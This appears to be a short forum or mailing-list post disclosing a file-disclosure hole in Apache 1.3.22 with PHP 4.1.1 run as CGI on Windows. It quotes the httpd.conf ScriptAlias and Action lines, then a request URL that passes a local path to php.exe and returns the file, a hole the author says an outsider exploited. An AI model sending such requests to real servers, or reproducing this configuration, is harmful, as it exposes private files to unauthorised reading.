Apache 1.3.22
PHP 4.1.1
...the latest versions at the moment.

in the httpd.conf of apache, i have:

AddType application/x-httpd-php .php
ScriptAlias /php/ "c:/mirc/apache/php/"
Action application/x-httpd-php "/php/php.exe"

typing this into my browser:
http://127.0.0.1/php/php.exe?C:\mirc\apache\apache\logs\access.log
allowed me to view the file.
i noticed the extra traffic heading out from my computer and checked the access.log myself and found someone using php.exe and the scriptalias like this.
